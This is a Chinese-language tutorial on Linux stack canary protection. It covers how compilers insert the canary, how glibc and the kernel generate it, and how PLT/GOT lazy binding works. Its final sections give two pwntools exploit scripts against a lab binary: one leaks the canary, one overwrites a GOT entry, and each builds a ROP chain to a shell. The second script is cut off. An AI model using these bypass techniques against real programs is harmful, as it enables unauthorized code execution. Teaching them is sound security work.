栈上的缓冲区变量发生溢出时,可能会导致非预期情况(比如返回地址被劫持)的产生,进而导致一系列的安全问题。为了缓解该问题,Linux退出金丝雀机制Stack Canaries
对栈进行保护,保护原理在下方的反汇编代码中可以看到。
1. 金丝雀机制的检测逻辑
栈上的缓冲区变量溢出时,会向地址增高方向覆盖一段连续的区域,假如提前在栈底前放置1个随机数,那么当缓冲区变量溢出时,也会导致该随机数被篡改,当函数结束时,在对保存的随机数进行检查,如果发现数值不对,就说明栈上的缓冲区变量溢出了,此时不应该继续往下执行。
从汇编角度上看,函数序言中会向保存调用函数的栈底指针,然后设置被调用函数自身的栈底指针,最后分配栈空间,这3条汇编指令标志着1个经典的函数序言。
完成栈空间的设置后,由于金丝雀机制的存在,需要赶在局部变量之前添加随机值到栈上rbp-0x8
,位于局部变量之后的随机值显然不会起到什么保护作用。
因为随机值会占用0x8字节的空间,所以局部变量的位置相对于未开启金丝雀机制前,也会增加0x8字节。
0x0000555555555159 <+0>: push %rbp
0x000055555555515a <+1>: mov %rsp,%rbp
0x000055555555515d <+4>: sub $0x20,%rsp
0x0000555555555161 <+8>: mov %fs:0x28,%rax
0x000055555555516a <+17>: mov %rax,-0x8(%rbp)
在函数返回时,金丝雀机制会先于leave
指令及ret
指令从栈上取出数据前,取出栈上保存的随机值并进行检查,只有当数值一致时,才会遵循正常的返回逻辑。
0x0000555555555187 <+46>: mov -0x8(%rbp),%rax
0x000055555555518b <+50>: sub %fs:0x28,%rax
0x0000555555555194 <+59>: je 0x55555555519b <simple_overflow+66>
0x0000555555555196 <+61>: call 0x555555555040 <__stack_chk_fail@plt>
0x000055555555519b <+66>: leave
0x000055555555519c <+67>: ret
通过观察随机值可以发现,最低字节刚好是0x00
,由于C语言中字符串以\0
作为结束符,所以即使缓冲区变量紧邻随机值且被填满时,字符串也会以随机值中的\0
作为终止符,保证字符串被截断。
(gdb) x /gx $rbp-0x8
0x7fffffffde18: 0xabe7aa6352121c00
2. 实现方式
在上面可以看到,随机数是从fx+0x28
的位置取出的,那么这个值是谁放进去,怎么放进去的呢?
2.1 编译器的支持
为了支持金丝雀机制,在给代码文件生成二进制文件时,就需要在函数序言和结语部分插入上方展示的插入随机值及检测随机值的指令。
这些指令是否生成以及在什么情况下生成,可以通过编译选项进行控制,下面列举了GCC编译器的相关选项及说明。
-fstack-protector 只为局部变量中含有数组的函数开启保护
-fstack-protector-all 为所有函数开启保护
-fstack-protector-strong 为局部变量地址作为赋值语句的右值及函数参数、含有数组类型的局部变量、`register`声明的局部变量开启保护
-fstack-protector-explicit 对含义stack_protect attribute的函数开启保护
-fno-stack-protector 禁用保护
2.2 TLS与金丝雀
LibC使用fs
寄存器存放线程局部存储TLS Thread Local Stroage
,TLS可用于支持多线程同时访问同1个全局变量或静态变量。TLS的存在使得每个线程都独占1份全局变量及静态变量,不同线程间对同1个全局变量或静态变量的修改并不会产生冲突。
当然这种特殊的变量需要__thread
关键字修饰,编译器看到__thread
修饰的变量后,二进制文件内会将这些变量放入.tdata
节和.tbss
节内,前面的t
用于标识thread
,.tdata
节和.tbss
节中存储着变量的原始版本。
[19] .tdata PROGBITS 0000000000003dc0 00002dc0
0000000000000010 0000000000000000 WAT 0 0 8
[20] .tbss NOBITS 0000000000003dd0 00002dd0
0000000000000004 0000000000000000 WAT 0 0 4
[21] .init_array INIT_ARRAY 0000000000003dd0 00002dd0
TLS的实现由tcbhead_t
结构体支持,在该结构体中存在stack_guard
成员,他被用于存放随机数,该成员在结构体内的偏移值是0x28。
typedef struct
{
void *tcb;
dtv_t *dtv;
void *self;
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
TLS由LD中的init_tls
初始化,下面展示了完整的调用栈信息。
(gdb) bt
#0 init_tls (naudit=naudit@entry=0) at rtld.c:736
#1 0x00007ffff7fe9565 in dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:2040
#2 0x00007ffff7fe5146 in _dl_sysdep_start (start_argptr=start_argptr@entry=0x7fffffffdf50, dl_main=dl_main@entry=0x7ffff7fe6cc0 <dl_main>) at ../sysdeps/unix/sysv/linux/dl-sysdep.c:140
#3 0x00007ffff7fe69be in _dl_start_final (arg=0x7fffffffdf50) at rtld.c:494
#4 _dl_start (arg=0x7fffffffdf50) at rtld.c:581
#5 0x00007ffff7fe5748 in _start () from /lib64/ld-linux-x86-64.so.2
#6 0x0000000000000001 in ?? ()
#7 0x00007fffffffe269 in ?? ()
#8 0x0000000000000000 in ?? ()
(gdb)
在GDB中观察fs
寄存器时,会发现fs
寄存器的值永远是0,这是因为软件调试器GDB对系统寄存器没有访问权限导致的。但是内核提供了arch_prctl
接口,用于修改或获取特定于体系结构的进程或线程状态。
在GDB中,已经借用内核接口将TLS所在位置放置在fs_base
寄存器中。
fs 0x0 0
fs_base 0x7ffff7db0740 140737351714624
(gdb) p *(tcbhead_t*)0x7ffff7db0740
$7 = {tcb = 0x7ffff7db0740, dtv = 0x7ffff7db10e0, self = 0x7ffff7db0740, multiple_threads = 0, gscope_flag = 0, sysinfo = 0, stack_guard = 16109256396036869120,
pointer_guard = 9142662214636680000, unused_vgetcpu_cache = {0, 0}, feature_1 = 0, __glibc_unused1 = 0, __private_tm = {0x0, 0x0, 0x0, 0x0}, __private_ss = 0x0, ssp_base = 0,
__glibc_unused2 = {{{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{
i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0,
0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {
0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}}, __padding = {0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0}}
初始化后fs_base
会指向一段内存所在的区域,显然这段内存是专门提供给TLS使用的。
7ffff7db0000-7ffff7db3000 rw-p 00000000 00:00 0
2.3 金丝雀的产生
C程序启动时,操作系统会先将控制权交给LD,在LD执行好相应操作后,才会调用主程序的入口函数_start
,想要调试LD程序也可以在_start
函数处设置断点,因为_start
函数是ELF文件的起点。
在通过init_tls
初始化好TLS信息后,才会通过security_init
产生随机值。随机值stack_chk_guard
会根据另一个随机值_dl_random
进行设置。
dl_main(.....)
{
......
init_tls(0)
......
if (__glibc_likely (need_security_init))
/* Initialize security features. But only if we have not done it
earlier. */
security_init ();
......
}
static void security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
/* Set up the pointer guard as well, if necessary. */
uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
__pointer_chk_guard_local = pointer_chk_guard;
/* We do not need the _dl_random value anymore. The less
information we leave behind, the better, so clear the
variable. */
_dl_random = NULL;
}
为了观察_dl_random
,我们再GDB中watch
该变量,当变量的数值改变时,调试器会自动中断,此时会发现随机值_dl_random
由_dl_sysdep_parse_arguments
函数设置。
_dl_sysdep_parse_arguments
函数会通过_dl_parse_auxv (GLRO(dl_auxv), auxv_values);
对_dl_random
修改,_dl_random
位于auxv_values
中AT_RANDOM
位置,而auxv
是内核提供的一种接口,用于在程序运行时传递信息到用户空间,所以随机值_dl_random
是内核产生的。
#0 _dl_sysdep_parse_arguments (start_argptr=<optimized out>,
start_argptr@entry=0x7fffffffdf50, args=args@entry=0x7fffffffde50)
at ../sysdeps/unix/sysv/linux/dl-sysdep.c:93
#1 0x00007ffff7fe50e0 in _dl_sysdep_start (
start_argptr=start_argptr@entry=0x7fffffffdf50,
dl_main=dl_main@entry=0x7ffff7fe6cc0 <dl_main>)
at ../sysdeps/unix/sysv/linux/dl-sysdep.c:106
#2 0x00007ffff7fe69be in _dl_start_final (arg=0x7fffffffdf50) at rtld.c:494
#3 _dl_start (arg=0x7fffffffdf50) at rtld.c:581
#4 0x00007ffff7fe5748 in _start () from /lib64/ld-linux-x86-64.so.2
#5 0x0000000000000001 in ?? ()
#6 0x00007fffffffe26a in ?? ()
#7 0x0000000000000000 in ?? ()
stack_chk_guard
随机值产生好后,会提交给THREAD_SET_POINTER_GUARD
宏,该宏会对当前线程的线程描述符进行修改stack_guard
成员,如果THREAD_SET_STACK_GUARD
未被定义,那么随机值会被放入__stack_chk_guard
全局变量内。
2.4 内核对不同线程的支持
操作系统内会有多个线程运行,不同线程间的金丝雀随机值显然应该是不同的,那么内核就需要为每个线程都保存一份金丝雀信息,当线程发生切换时,还需要将fs+0x28
的数值进行更新。
在内核中每个线程通过task_strcut
结构体进行管理,不同线程间通过struct list_head tasks;
成员链表进行管理(对tasks
成员进行遍历可以得到全部进程),在task_strcut
结构体内存在unsigned long stack_canary;
成员,该成员在线程建立时由dup_task_struct
获取随机值并填写该成员(前面_dl_random
就是借助系统调用从这里获取数值的)。
struct task_struct {
......
struct list_head tasks;
......
unsigned long stack_canary;
......
}
static struct task_struct *dup_task_struct(struct task_struct *orig, int node)
{
......
setup_thread_stack(tsk, orig);
clear_user_return_notifier(tsk);
clear_tsk_need_resched(tsk);
set_task_stack_end_magic(tsk);
clear_syscall_work_syscall_user_dispatch(tsk);
#ifdef CONFIG_STACKPROTECTOR
tsk->stack_canary = get_random_canary();
#endif
......
}
内核会通过__switch_to
切换线程,这时候有个很重要的工作就是将保存当前线程的上下文,再将待切换线程的上下文设置好,上下文信息中就包含TLS信息,因此切换线程时,TLS信息也会随之更新,这样用户程序就可以访问寄存器获取正确的随机值了。
3. 延迟绑定
从上面可以看到金丝雀的检测函数__stack_chk_fail
来自LibC,而且类似于它一样来自动态链接库的函数,在函数名后都会有一个@plt
的标识,这个标识起什么作用呢?
3.1 动态链接库中函数的绑定策略
在链接期中,链接器会将所有的目标文件和静态链接文件(多个目标文件的集合)中的内容链接进入自身,而动态链接库中的内容则会推迟到运行期时在进行绑定。
在动态链接的情况下,程序并不会在刚开始运行时就将全部的函数加载,而是采取按需加载的策略,即函数调用发生时再去加载。
PLT与GOT的解析
通过objdump
工具反汇编观察主程序的ELF文件可以发现,每个动态链接函数由于在文件内没有实际的函数实现,所以文件会先提供.plt
节作为中转站,该节中的表项是动态链接函数跳转时的实际指向位置,.plt
节中的每个表项都由3条指令组成。
0000000000001020 <puts@plt-0x10>:
1020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
1026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
102c: 0f 1f 40 00 nopl 0x0(%rax)
0000000000001030 <puts@plt>:
1030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 4000 <puts@GLIBC_2.2.5>
1036: 68 00 00 00 00 push $0x0
103b: e9 e0 ff ff ff jmp 1020 <_init+0x20>
0000000000001060 <read@plt>:
1060: ff 25 b2 2f 00 00 jmp *0x2fb2(%rip) # 4018 <read@GLIBC_2.2.5>
1066: 68 03 00 00 00 push $0x3
106b: e9 b0 ff ff ff jmp 1020 <_init+0x20>
0000000000001169 <test>
......
118a: e8 a1 fe ff ff call 1030 <puts@plt>
......
通过readelf
工具观察段信息,可以知道.plt
节位于LOAD
可读可执行(RE)段内。
3号段:
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x0000000000000229 0x0000000000000229 R E 0x1000
03 .init .plt .text .fini
.plt
节中除第一个表项外,其余表项都由jmp push jmp
三条指令组成,第一条jmp
指令指向.got.plt
节,最后一条jmp
指令都统一指向.plt
中的首个表项,push
指令会将表项的序号压入栈内。
通过readelf
工具观察段信息,可以知道.got.plt
节位于LOAD
可读可写(RW)段内。
5号段:
LOAD 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
0x0000000000000260 0x0000000000000268 RW 0x1000
05 .init_array .fini_array .dynamic .got .got.plt .data .bss
首先分析第一条指令,该指令会指向.got.plt
节中的不同表项,并根据表项内的数值进行跳转,.got.plt
节中每8个字节(64位 / 8比特)为1个表项,表项中的数值会指向.plt
节中表项push
指令的所在位置。
jmp *0x2fca(%rip) -> 0x1036+0x2fca = 0x4000 (36 10) -> 1036 push $0x0
jmp *0x2fb2(%rip) -> 0x1066+0x2fb2 = 0x4018 (66 10) -> 1066 push $0x3
Disassembly of section .got.plt:
0000000000003fe8 <_GLOBAL_OFFSET_TABLE_>:
3fe8: e0 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .=..............
...
4000: 36 10 00 00 00 00 00 00 46 10 00 00 00 00 00 00 6.......F.......
4010: 56 10 00 00 00 00 00 00 66 10 00 00 00 00 00 00 V.......f.......
在等push
指令将数据压入栈后,最后一条jmp
指令会统一的跳转到.plt
节中的首表项<puts@plt-0x10>
。
.plt节中表项最后的jmp指令:
jmp 1020 <_init+0x20>
0000000000001020 <puts@plt-0x10>:
1020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
1026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
102c: 0f 1f 40 00 nopl 0x0(%rax)
hexdump -C ./canary_bypass_example -s 0x3fc0 | more
00003fc0 03 00 00 00 00 00 00 00 c0 3f 00 00 00 00 00 00 |.........?......|
00003fd0 c0 2f 00 00 00 00 00 00 28 00 00 00 00 00 00 00 |./......(.......|
00003fe0 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 |................|
00003ff0 08 00 00 00 00 00 00 00 f9 00 00 00 01 00 00 00 |................|
通过上面的分析可以确定动态链接函数与.plt
节、.got.plt
节、.got
节间的相互关系。但是这些节存在的意义仍不清楚,下面会结合调试器进行分析。
3.2 调试器下的观察动态链接过程
第一步:调用puts
函数时先进入.plt
节中对应的表项内。
(gdb)
0x000055555555518a 11 puts("hello world!");
1: x/i $rip
=> 0x55555555518a <example+33>: call 0x555555555030 <puts@plt>
第二步:jmp
指令指示从.got.plt
节中获取跳转地址,此时.got.plt
节中对应表项的跳转地址会重新指向.plt
节中的push
指令。
(gdb)
0x0000555555555030 in puts@plt ()
1: x/i $rip
=> 0x555555555030 <puts@plt>: jmp *0x2fca(%rip) # 0x555555558000 <puts@got.plt>
x /10x $rip+0x2fca
0x555555558000 <puts@got.plt>: 0x55555036 0x00005555 0x55555046 0x00005555
第三步:push
指令将0x0压入栈后,会继续根据jmp
指令进行跳转。
(gdb) si
0x0000555555555036 in puts@plt ()
1: x/i $rip
=> 0x555555555036 <puts@plt+6>: push $0x0
(gdb)
0x000055555555503b in puts@plt ()
1: x/i $rip
=> 0x55555555503b <puts@plt+11>: jmp 0x555555555020
压入栈的数据如下所示。
(gdb) x /10x $rsp
0x7fffffffddc0: 0x00000000 0x00000000 0x5555518f 0x00005555
0x7fffffffddd0: 0x00000019 0x00000050 0x00000000 0x00000000
0x7fffffffdde0: 0x00000000 0x00000000
第四步:观察跳转地址可以发现,jmp
指令会带我们前往.plt
节中的首表项。
(gdb) info files
0x0000555555555020 - 0x0000555555555070 is .plt
第五步:.plt
节中的首表项会先将.got.plt
节中表项所在地址压入栈内,
(gdb) info files
0x0000555555557fe8 - 0x0000555555558020 is .got.plt
(gdb) x /3i 0x555555555020
0x555555555020: push 0x2fca(%rip) # 0x555555557ff0
0x555555555026: jmp *0x2fcc(%rip) # 0x555555557ff8
0x55555555502c: nopl 0x0(%rax)
(gdb) x /gx 0x555555557ff8
0x555555557ff8: 0x00007ffff7fdbe10
(gdb) info symbol 0x00007ffff7fdbe10
_dl_runtime_resolve_fxsave in section .text of /lib64/ld-linux-x86-64.so.2
此时可以发现.got.plt
节中内容已经和之前静态文件中内容不同了。
压入栈的数据如下所示。
(gdb) x /10x $rsp
0x7fffffffddb8: 0xf7ffe2e0 0x00007fff 0x00000000 0x00000000
0x7fffffffddc8: 0x5555518f 0x00005555 0x00000019 0x00000050
0x7fffffffddd8: 0x00000000 0x00000000
第六步:执行_dl_runtime_resolve_fxsave
函数,加载puts
函数。
_dl_runtime_resolve_fxsave
函数如何运作暂时就不做解析了。
第七步:再次执行puts
函数时,会发现.got.plt
节中表项存储的地址已经变成了puts
函数的所在地址,此时执行jmp
指令就会直接前往puts
函数。
1: x/i $rip
=> 0x555555555030 <puts@plt>: jmp *0x2fca(%rip) # 0x555555558000 <puts@got.plt>
(gdb) x /gx 0x555555558000
0x555555558000 <puts@got.plt>: 0x00007ffff7e327d0
(gdb) info symbol 0x00007ffff7e327d0
puts in section .text of /usr/lib/libc.so.6
3.3 PLT与GOT的总结
在链接期内,动态链接函数其实现的所在位置是链接器不可知的,因此会提供PLT(过程链接表 procedure linkage table
)作为中转站,PLT会根据.got.plt
节的指示跳转。
当动态链接函数尚未加载时,.got.plt
节会指示前往.got
节,运行期内.got
节会存放出来动态链接的参数及函数地址,程序需要先将动态链接函数加载进来,并将.got.plt
节指向的跳转位置修改为对应动态链接函数的位置。
由于.plt
节位于可读可执行段内,所以运行期中它是不可修改的,只能修改位于可读可写段中的.got.plt
节,这也是该节存在的意义,否则直接省去.got.plt
节就可以了。
当动态链接函数再次执行时,PLT会根据.got.plt
节中存放的函数地址进行执行,而无需再次进行加载。
4. 绕过思路
4.1 泄露随机值
随机值的最低位设置为\x00
,本意是为了保证字符串可以被\x00
截断,从而保护其他字节信息。但当随机值的最低字节也被覆盖时,其余处于高位的字节信息也会被暴露出来。
4.2 检测函数的劫持
在上面的分析中可以看到,主程序中跳转到__stack_chk_fail
函数的地址由.got.plt
节中数据决定,并且.got.plt
节在运行期是可以写的,假如该节中的内容被篡改,那么当运行__stack_chk_fail
函数时,程序的执行流就会被我们控制。
5. 示例讲解
下面给出了二进制程序的反汇编代码,接下来会对反汇编信息进行分析。
0000000000001169 <canary_leak>:
1169: 55 push %rbp
将调用函数的栈底指针从rdp寄存器压到栈上
116a: 48 89 e5 mov %rsp,%rbp
将当前栈顶指针作为被调用函数的栈底指针
116d: 48 83 ec 50 sub $0x50,%rsp
分配栈空间大小0x50
1171: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
从fs寄存器指向的TLS信息中取出金丝雀
1178: 00 00
117a: 48 89 45 f8 mov %rax,-0x8(%rbp)
将取出的金丝雀压入栈内,对栈进行保护
117e: 31 c0 xor %eax,%eax
清零eax寄存器
1180: 48 8d 05 7d 0e 00 00 lea 0xe7d(%rip),%rax # 2004 <_IO_stdin_used+0x4>
取出0xe7d(%rip)地址中保存的数据到rax寄存器
1187: 48 89 c7 mov %rax,%rdi
根据调用协议将rax寄存器中数据放入rdi寄存器内
118a: e8 a1 fe ff ff call 1030 <puts@plt>
通过rdi寄存器提供的参数调用puts函数
118f: 48 8d 45 c0 lea -0x40(%rbp),%rax
将栈上变量的地址放入rax寄存器内,为接下来的传参做准备
1193: ba 00 10 00 00 mov $0x1000,%edx
将0x1000放入edx寄存器内,它作为read函数的第三个参数
1198: 48 89 c6 mov %rax,%rsi
将rax寄存器中的数值放入rsi寄存器内,它作为read函数的第二个参数
119b: bf 00 00 00 00 mov $0x0,%edi
将0x0放入edi寄存器内,它作为read函数的第一个参数
11a0: e8 bb fe ff ff call 1060 <read@plt>
调用read函数
11a5: 48 8d 45 c0 lea -0x40(%rbp),%rax
11a9: 48 89 c6 mov %rax,%rsi
11ac: 48 8d 05 6a 0e 00 00 lea 0xe6a(%rip),%rax # 201d <_IO_stdin_used+0x1d>
11b3: 48 89 c7 mov %rax,%rdi
11b6: b8 00 00 00 00 mov $0x0,%eax
上方指令根据调用协议准备形参给printf函数
11bb: e8 90 fe ff ff call 1050 <printf@plt>
调用printf函数
11c0: 48 8d 05 6d 0e 00 00 lea 0xe6d(%rip),%rax # 2034 <_IO_stdin_used+0x34>
11c7: 48 89 c7 mov %rax,%rdi
上方指令根据调用协议准备形参给puts函数
11ca: e8 61 fe ff ff call 1030 <puts@plt>
调用puts函数
11cf: 48 8d 45 b4 lea -0x4c(%rbp),%rax
11d3: ba 00 10 00 00 mov $0x1000,%edx
11d8: 48 89 c6 mov %rax,%rsi
11db: bf 00 00 00 00 mov $0x0,%edi
上方指令根据调用协议准备形参给read函数
11e0: e8 7b fe ff ff call 1060 <read@plt>
调用read函数
11e5: 90 nop
空指令
11e6: 48 8b 45 f8 mov -0x8(%rbp),%rax
11ea: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
取出金丝雀进行检测
11f1: 00 00
11f3: 74 05 je 11fa <canary_leak+0x91>
金丝雀值变化则调用__stack_chk_fail函数,否则正常返回
11f5: e8 46 fe ff ff call 1040 <__stack_chk_fail@plt>
11fa: c9 leave
11fb: c3 ret
00000000000011fc <stack_check_func_hijack>:
11fc: 55 push %rbp
11fd: 48 89 e5 mov %rsp,%rbp
1200: 48 83 ec 20 sub $0x20,%rsp
处理栈底指针和栈顶指针
1204: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
120b: 00 00
120d: 48 89 45 f8 mov %rax,-0x8(%rbp)
设置金丝雀
1211: 31 c0 xor %eax,%eax
清空eax寄存器,为后续使用做准备
1213: 48 8d 05 32 0e 00 00 lea 0xe32(%rip),%rax # 204c <_IO_stdin_used+0x4c>
121a: 48 89 c7 mov %rax,%rdi
根据调用协议准备形参
121d: e8 0e fe ff ff call 1030 <puts@plt>
调用puts函数
1222: 48 8d 45 ec lea -0x14(%rbp),%rax
1226: ba 00 10 00 00 mov $0x1000,%edx
122b: 48 89 c6 mov %rax,%rsi
122e: bf 00 00 00 00 mov $0x0,%edi
根据调用协议准备形参
1233: e8 28 fe ff ff call 1060 <read@plt>
调用read函数
1238: 48 8d 05 24 0e 00 00 lea 0xe24(%rip),%rax # 2063 <_IO_stdin_used+0x63>
123f: 48 89 c7 mov %rax,%rdi
根据调用协议准备形参
1242: e8 e9 fd ff ff call 1030 <puts@plt>
调用puts函数
1247: 48 8d 45 e0 lea -0x20(%rbp),%rax
将栈上变量的地址交给rax寄存器
124b: ba 00 10 00 00 mov $0x1000,%edx
1250: 48 89 c6 mov %rax,%rsi
1253: bf 00 00 00 00 mov $0x0,%edi
根据调用协议准备形参
1258: e8 03 fe ff ff call 1060 <read@plt>
调用read函数
125d: 48 8d 05 16 0e 00 00 lea 0xe16(%rip),%rax # 207a <_IO_stdin_used+0x7a>
1264: 48 89 c7 mov %rax,%rdi
根据调用协议准备形参
1267: e8 c4 fd ff ff call 1030 <puts@plt>
调用puts函数
126c: 48 8b 45 e0 mov -0x20(%rbp),%rax
将栈上变量保存的地址放置到rax寄存器内
1270: ba 00 10 00 00 mov $0x1000,%edx
1275: 48 89 c6 mov %rax,%rsi
1278: bf 00 00 00 00 mov $0x0,%edi
根据调用协议准备形参
127d: e8 de fd ff ff call 1060 <read@plt>
调用read函数
1282: 90 nop
空指令
1283: 48 8b 45 f8 mov -0x8(%rbp),%rax
1287: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
处理金丝雀
128e: 00 00
1290: 74 05 je 1297 <stack_check_func_hijack+0x9b>
金丝雀变化则调用__stack_chk_fail,否则正常退出
1292: e8 a9 fd ff ff call 1040 <__stack_chk_fail@plt>
1297: c9 leave
1298: c3 ret
0000000000001299 <main>:
1299: 55 push %rbp
129a: 48 89 e5 mov %rsp,%rbp
129d: 48 83 ec 10 sub $0x10,%rsp
处理栈空间
12a1: 89 7d fc mov %edi,-0x4(%rbp)
将argc放到栈上
12a4: 48 89 75 f0 mov %rsi,-0x10(%rbp)
将argv放到栈上
12a8: 48 8b 45 f0 mov -0x10(%rbp),%rax
将argv放到rax寄存器内
12ac: 48 83 c0 08 add $0x8,%rax
偏移0x8到argv[1]
12b0: 48 8b 00 mov (%rax),%rax
将rax寄存器中的数据放入rax
12b3: 48 85 c0 test %rax,%rax
判断argv[1]是否为空
12b6: 75 0f jne 12c7 <main+0x2e>
不为空就跳转
12b8: 48 8d 05 d0 0d 00 00 lea 0xdd0(%rip),%rax # 208f <_IO_stdin_used+0x8f>
12bf: 48 89 c7 mov %rax,%rdi
根据调用协议准备参数
12c2: e8 69 fd ff ff call 1030 <puts@plt>
调用puts
12c7: b8 00 00 00 00 mov $0x0,%eax
设置返回值为0x0
12cc: eb 3d jmp 130b <main+0x72>
跳转到函数末尾准备退出
12ce: 48 8b 45 f0 mov -0x10(%rbp),%rax
12d2: 48 83 c0 08 add $0x8,%rax
准备argv[1]到rax寄存器
12d6: 48 8b 00 mov (%rax),%rax
将rax寄存器中地址对应的数据放入rax寄存器内
12d9: 0f b6 00 movzbl (%rax),%eax
12dc: 0f be c0 movsbl %al,%eax
将argv[1][0]放入eax内
12df: 83 f8 63 cmp $0x63,%eax
0x63为字符c,将字符c与eax进行比较
12e2: 74 0c je 12f0 <main+0x57>
相等就跳转到0x12f0
12e4: 83 f8 73 cmp $0x73,%eax
0x73为字符s,将字符s与eax进行比较
12e7: 75 08 jne 12f1 <main+0x58>
不相等就跳转到0x12f1
12e9: e8 0e ff ff ff call 11fc <stack_check_func_hijack>
调用stack_check_func_hijack
12ee: eb 07 jmp 12f7 <main+0x5e>
跳转到0x12f7
12f0: 90 nop
空指令
12f1: e8 73 fe ff ff call 1169 <canary_leak>
调用canary_leak
12f6: 90 nop
空指令
12f7: 48 8d 05 a9 0d 00 00 lea 0xda9(%rip),%rax # 20a7 <_IO_stdin_used+0xa7>
12fe: 48 89 c7 mov %rax,%
根据调用协议准备形参
1301: e8 2a fd ff ff call 1030 <puts@plt>
调用puts
1306: b8 00 00 00 00 mov $0x0,%eax
设置返回值然后返回
130b: c9 leave
130c: c3 ret
通过分析上面的反汇编代码可以知道,程序由main
、canary_leak
、stack_check_func_hijack
三个函数组成,canary_leak
函数和stack_check_func_hijack
函数都开启了金丝雀保护机制。
main
函数内会针对argv[1][0]
进行判断,当argv[1][0]
是字符s时调用stack_check_func_hijack
函数,否则调用canary_leak
函数。
canary_leak
函数内会读取两次输入,并且在首次输入后会将缓冲区变量打印出来,此时就可以利用它们泄露金丝雀,然后通过最后一次传入payload
完成PWN。
stack_check_func_hijack
函数内部会读取参数输入,第一次是读取输入到rbp-0x14
位置的缓冲区变量,第二次是修改rbp-0x20
的内存地址,第三次是修改rbp-0x20
中保存的数据,显然rbp-0x20
位置上的变量是指针类型。因此可以通过第二次读取输入将rbp-0x20
的内存地址修改为.got.plt
节中表项的地址,可以通过第三次读取输入修改.got.plt
节中表项的数据。
5.1 exploit-泄露金丝雀
根据上面分析,可以先填充缓冲区变量到金丝雀的最低字节,然后获取泄露的金丝雀,最后根据金丝雀的数值填充rbp-0x8
的位置,调用函数栈底指针可以随意覆盖,返回地址则借用LibC中的指令,让其通过system
函数调用shell,最后得到下方的exploit
。
import os
import pwn
pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux'
)
libc_base = 0x7ffff7db3000
system_offset = 0x50f10
sh_str_offset = 0x1aae28
ret_offset = 0xfd8c5
pop_rdi_ret_offset = 0xfd8c4
exit_offset = 0x3f050
conn = pwn.process(argv = ['./example', 'c'])
buf_padding = b'A' * (0x40 - 0x8)
conn.sendlineafter('please enter user name: \n', buf_padding)
result = conn.recvuntil('\xff')
canary = result[0x4c:0x53]
canary = b'\x00' + canary
print(canary)
payload = b'A' * (0x4c - 0x8)
payload += canary
payload += b'B' * 0x8
payload += pwn.p64(libc_base + pop_rdi_ret_offset)
payload += pwn.p64(libc_base + sh_str_offset)
payload += pwn.p64(libc_base + ret_offset)
payload += pwn.p64(libc_base + system_offset)
payload += pwn.p64(libc_base + exit_offset)
conn.sendlineafter('please enter password: \n', payload)
conn.interactive()
执行后就可以成功获得shell。
[*] Switching to interactive mode
$ whoami
test
$ ls /
bin dev lib mnt root sbin tmp
boot etc lib64 opt rootfs-pkgs.txt srv usr
desktopfs-pkgs.txt home lost+found proc run sys var
$
5.2 exploit-篡改GOT
通过上面分析,需要先填充缓冲区变量1,使之覆盖金丝雀触发stack_check_func_hijack
函数,并填充payload
,之后先设置指针变量2的内存地址到.got.plt
节内,再设置节中表项的数据为ret
指令的地址,使之直接返回到原函数的leave
指令,然后继续按照正常的流程运行,最后返回时运行之前传入的payload
,使得shell弹出。
import os
import pwn
pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux'
)
libc_base = 0x7ffff7db3000
system_offset = 0x50f10
sh_str_offset = 0x1aae28
ret_offset = 0xfd8c5
pop_rdi_ret_offset = 0xfd8c4
exit_offset = 0x3f050
conn = pwn.process(argv = ['./example', 's'])
payload = b'A' * 0x14
payload += b'B' * 0x8
payload += pwn.p64(libc_base + pop_rdi_ret_offset)
payload += pwn.p64(libc_base + sh_str_offset)
payload += pwn.p64(libc_base + ret_offset)
payload += pwn.p64(libc_base + system_offset)
